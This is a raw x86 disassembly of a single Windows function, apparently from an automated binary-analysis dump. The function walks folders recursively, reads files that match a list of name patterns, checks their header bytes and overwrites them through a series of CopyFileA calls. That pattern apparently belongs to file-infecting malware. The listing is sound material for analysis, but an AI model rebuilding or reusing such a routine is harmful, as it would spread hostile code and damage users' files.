Function at 0x1314c92c
Capabilities:
Copy file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3f
push 0
push 0
dec ecx
jne 0x1314c934
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131448dc
lea eax, [ebp - 0x16c]
mov edx, dword [0x13145da4]
call fcn.13144af8
xor eax, eax
push ebp
push 0x1314d15e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x170]
mov ecx, 0x1314d174
mov edx, dword [ebp - 4]
call fcn.13144738
mov eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.131469f4
jmp 0x1314d104
mov eax, dword [ebp - 0x160]
mov bl, byte [eax]
cmp bl, 0x2e
jne 0x1314c9c7
lea eax, [ebp - 0x174]
mov edx, ebx
call fcn.13144638
mov eax, dword [ebp - 0x174]
mov edx, 0x1314d184
call fcn.13144838
je 0x1314d0c2
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x178]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x178]
mov eax, 0x1314d19c
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x17c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x17c]
mov eax, 0x1314d1ac
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x180]
mov eax, 0x1314d1bc
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x184]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x184]
mov eax, 0x1314d1cc
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x188]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x188]
mov eax, 0x1314d1dc
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x18c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x18c]
mov eax, 0x1314d1ec
call fcn.131449d4
test eax, eax
jle 0x1314cbdb
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x190]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x190]
mov eax, 0x1314d1fc
call fcn.131449d4
test eax, eax
jne 0x1314cbdb
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x194]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x194]
mov eax, 0x1314d20c
call fcn.131449d4
test eax, eax
jne 0x1314cbdb
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x198]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x198]
mov eax, 0x1314d220
call fcn.131449d4
test eax, eax
jne 0x1314cbdb
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x19c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x19c]
mov eax, 0x1314d22c
call fcn.131449d4
test eax, eax
je 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1a0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a0]
mov eax, 0x1314d238
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1a4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a4]
mov eax, 0x1314d248
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1a8]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a8]
mov eax, 0x1314d254
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1ac]
mov eax, 0x1314d260
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1b0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1b0]
mov eax, 0x1314d26c
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1b4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1b4]
mov eax, 0x1314d27c
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1b8]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1b8]
mov eax, 0x1314d28c
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1bc]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1bc]
mov eax, 0x1314d29c
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1c0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1c0]
mov eax, 0x1314d2ac
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1c4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1c4]
mov eax, 0x1314d2b8
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1c8]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1c8]
mov eax, 0x1314d2c8
call fcn.131449d4
test eax, eax
jg 0x1314ce95
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1cc]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1cc]
mov eax, 0x1314d2d4
call fcn.131449d4
test eax, eax
jle 0x1314d0c2
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1d0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1d0]
mov eax, 0x1314d2e0
call fcn.131449d4
test eax, eax
jne 0x1314d0c2
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 8]
mov edx, 3
call fcn.131447ac
xor eax, eax
push ebp
push 0x1314cf36
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1d4]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1d4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
push 0
push esi
call sub.kernel32.dll_GetFileSize_1
mov edi, eax
mov eax, edi
call fcn.131428c4
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0x14]
push eax
push edi
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_ReadFile_1
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314cf40
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.13144648
lea eax, [ebp - 0x1d8]
push eax
mov ecx, 2
xor edx, edx
mov eax, dword [ebp - 0xc]
call fcn.1314494c
mov eax, dword [ebp - 0x1d8]
mov edx, 0x1314d2f0
call fcn.13144838
jne 0x1314d0c2
push 0
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
push 0x1314d19c
lea eax, [ebp - 0x1dc]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1dc]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1e8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x1e4]
mov edx, 0x1314d2fc
call fcn.13144738
mov eax, dword [ebp - 0x1e4]
lea edx, [ebp - 0x1e0]
call fcn.1314c470
mov eax, dword [ebp - 0x1e0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
push 0
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
push 0x1314d30c
lea eax, [ebp - 0x1ec]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1ec]
call fcn.131448ec
push eax
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1f0]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1f0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 8]
call fcn.13146a84
push 0
mov eax, dword [ebp - 8]
call fcn.131448ec
push eax
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
push 0x1314d19c
lea eax, [ebp - 0x1f4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1f4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
push 0x1314d19c
lea eax, [ebp - 0x1f8]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1f8]
call fcn.13146a84
mov eax, dword [ebp - 0x164]
and eax, 0x10
cmp eax, 0x10
jne 0x1314d104
mov eax, dword [ebp - 0x160]
cmp byte [eax], 0x2e
je 0x1314d104
push dword [ebp - 4]
push 0x1314d190
push dword [ebp - 0x160]
lea eax, [ebp - 0x1fc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1fc]
call fcn.1314c92c
lea eax, [ebp - 0x16c]
call fcn.13146a44
test eax, eax
je 0x1314c997
lea eax, [ebp - 0x16c]
call fcn.13146a68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314d165
lea eax, [ebp - 0x1fc]
mov edx, 0x24
call fcn.13144490
lea eax, [ebp - 0x16c]
mov edx, dword [0x13145da4]
call fcn.13144bbc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.13144490
ret